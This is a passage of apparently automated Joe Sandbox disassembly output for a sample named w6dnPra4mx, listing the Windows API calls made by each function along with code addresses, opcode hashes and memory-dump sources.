                              • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                              • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                              APIs
                              • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                              • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                              • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                • Part of subcall function 004413F0: SendMessageW.USER32(030A1C68,000000F1,00000000,00000000), ref: 004414C6
                                • Part of subcall function 004413F0: SendMessageW.USER32(030A1C68,000000F1,00000001,00000000), ref: 004414F1
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$EnableMessageSend$LongShow
                              • String ID:
                              • API String ID: 142311417-0
                              • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                              • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                              • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                              • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                              APIs
                              • _memset.LIBCMT ref: 0044955A
                                • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                              • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                              • _wcslen.LIBCMT ref: 004495C1
                              • _wcslen.LIBCMT ref: 004495CE
                              • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend_wcslen$_memset_wcspbrk
                              • String ID:
                              • API String ID: 1843234404-0
                              • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                              • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                              • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                              • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                              • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                              • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                              • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                              APIs
                              • IsWindowVisible.USER32(?), ref: 00445721
                              • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                              • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                              • _wcslen.LIBCMT ref: 004457A3
                              • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                              • String ID:
                              • API String ID: 3087257052-0
                              • Opcode ID: 07a683c3f77dae50ee773e7e3fa5154241049f7b31449e9a489b3be5124be6a3
                              • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                              • Opcode Fuzzy Hash: 07a683c3f77dae50ee773e7e3fa5154241049f7b31449e9a489b3be5124be6a3
                              • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                              APIs
                              • IsWindow.USER32(00000000), ref: 00459DEF
                              • GetForegroundWindow.USER32 ref: 00459E07
                              • GetDC.USER32(00000000), ref: 00459E44
                              • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                              • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$ForegroundPixelRelease
                              • String ID:
                              • API String ID: 4156661090-0
                              • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                              • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                              • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                              • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                              APIs
                                • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                              • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                              • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                              • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                              • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                              • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorLast$closesocketconnectinet_addrsocket
                              • String ID:
                              • API String ID: 245547762-0
                              • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                              • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                              • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                              • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                              APIs
                              • DeleteObject.GDI32(00000000), ref: 00447151
                              • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                              • SelectObject.GDI32(?,00000000), ref: 004471A2
                              • BeginPath.GDI32(?), ref: 004471B7
                              • SelectObject.GDI32(?,00000000), ref: 004471DC
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Object$Select$BeginCreateDeletePath
                              • String ID:
                              • API String ID: 2338827641-0
                              • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                              • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                              • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                              • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                              APIs
                              • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                              • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                              • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CounterPerformanceQuerySleep
                              • String ID:
                              • API String ID: 2875609808-0
                              • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                              • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                              • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                              • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                              APIs
                              • SendMessageW.USER32 ref: 0046FD00
                              • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                              • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                              • DestroyIcon.USER32(?), ref: 0046FD58
                              • DestroyIcon.USER32(?), ref: 0046FD5F
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$DestroyIcon
                              • String ID:
                              • API String ID: 3419509030-0
                              • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                              • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                              • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                              • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                              APIs
                              • __getptd.LIBCMT ref: 004175AE
                                • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                              • __amsg_exit.LIBCMT ref: 004175CE
                              • __lock.LIBCMT ref: 004175DE
                              • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                              • InterlockedIncrement.KERNEL32(030A2D90), ref: 00417626
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                              • String ID:
                              • API String ID: 4271482742-0
                              • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                              • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                              • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                              • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                              APIs
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Destroy$DeleteObjectWindow$Icon
                              • String ID:
                              • API String ID: 4023252218-0
                              • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                              • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                              • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                              • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                              APIs
                              • GetDlgItem.USER32(?,000003E9), ref: 00460342
                              • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                              • MessageBeep.USER32(00000000), ref: 0046036D
                              • KillTimer.USER32(?,0000040A), ref: 00460392
                              • EndDialog.USER32(?,00000001), ref: 004603AB
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: BeepDialogItemKillMessageTextTimerWindow
                              • String ID:
                              • API String ID: 3741023627-0
                              • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                              • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                              • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                              • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                              APIs
                              • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DeleteDestroyObject$IconMessageSendWindow
                              • String ID:
                              • API String ID: 1489400265-0
                              • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                              • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                              • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                              • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                              APIs
                                • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                              • String ID:
                              • API String ID: 1042038666-0
                              • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                              • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                              • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                              • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Path$ObjectStroke$DeleteFillSelect
                              • String ID:
                              • API String ID: 2625713937-0
                              • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                              • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                              • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                              • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                              APIs
                                • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                              • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                              • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                              • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                              • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                              • ExitThread.KERNEL32 ref: 0041410F
                              • GetCurrentThreadId.KERNEL32 ref: 00414115
                              • __freefls@4.LIBCMT ref: 00414135
                              • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                              • String ID:
                              • API String ID: 132634196-0
                              • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                              • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                              • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                              • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                              APIs
                              • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                              • __getptd_noexit.LIBCMT ref: 00415620
                              • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                              • __freeptd.LIBCMT ref: 0041563B
                              • ExitThread.KERNEL32 ref: 00415643
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
